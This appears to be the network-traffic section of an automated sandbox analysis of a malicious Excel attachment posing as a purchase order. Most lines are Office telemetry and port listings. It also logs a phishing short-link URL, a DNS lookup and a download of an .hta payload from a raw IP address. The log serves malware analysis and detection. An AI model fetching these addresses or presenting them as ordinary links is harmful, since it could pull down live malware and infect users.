Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /80/de/seethegoodgirlwhoismylovershealwayslovedmealotwithhereyes.hta HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: 107.175.130.36

Source: global traffic

DNS traffic detected: DNS query: acesso.run

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 29 Oct 2024 19:37:58 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25Content-Length: 300Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 31 2e 32 35 20 53 65 72 76 65 72 20 61 74 20 31 30 37 2e 31 37 35 2e 31 33 30 2e 33 36 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Server at 107.175.130.36 Port 80</address></body></html>

Source: 57C8EDB95DF3F0AD4EE2DC2B8CFD4157.0.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab
Source: NUEVA ORDEN DE COMPRA 73244.xla.xlsx, B0D30000.0.dr	String found in binary or memory: https://acesso.run/wMyYAg?&morsel=bewildered&bifocals=oafish&egg

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
